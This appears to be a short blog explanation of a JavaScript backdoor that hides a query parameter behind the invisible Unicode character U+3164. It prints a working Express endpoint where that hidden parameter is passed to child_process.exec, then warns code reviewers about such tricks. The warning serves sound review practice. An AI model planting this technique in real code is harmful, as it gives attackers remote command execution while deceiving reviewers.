Wolfgang Ettlinger carefull crafted this JavaScript snippet, which contains a backdoor.
const express = require('express');
const util = require('util');
const exec = util.promisify(require('child_process').exec);
const app = express();
app.get('/network_health', async (req, res) => {
const { timeout,ㅤ} = req.query;
const checkCommands = [
'ping -c 1 google.com',
'curl -s http://example.com/',ㅤ
];
try {
await Promise.all(checkCommands.map(cmd =>
cmd && exec(cmd, { timeout: +timeout || 5_000 })));
res.status(200);
res.send('ok');
} catch(e) {
res.status(500);
res.send('failed');
}
});
app.listen(8080);
Looks pretty normal, right? Well, see that destructuring from req.query
there (first highlight)? It contains an invisible character \u3164
, which is a valid identifier for a JavaScript variable.
The character “ㅤ” (0x3164 in hex) is called “HANGUL FILLER” and belongs to the Unicode category “Letter, other”. As this character is considered to be a letter, it has the
ID_Start
property and can therefore appear in a JavaScript variable – perfect!
While that line appears normal to us, it actually reads:
const { timeout,\u3164} = req.query;
The result is that you pass something from the querystring’s \u3164
parameter into a JavaScript variable with the name \u3164
. That hidden variable is also included in the checkCommands
array (second highlight, after the
, and thus will also be executed.,
)
Let this be a reminder to never directly execute commands. Always check them. As Wolfgang also suggests:
Unicode should be kept in mind when doing reviews of code from unknown or untrusted contributors. This is especially interesting for open source projects as they might receive contributions from developers that are effectively anonymous.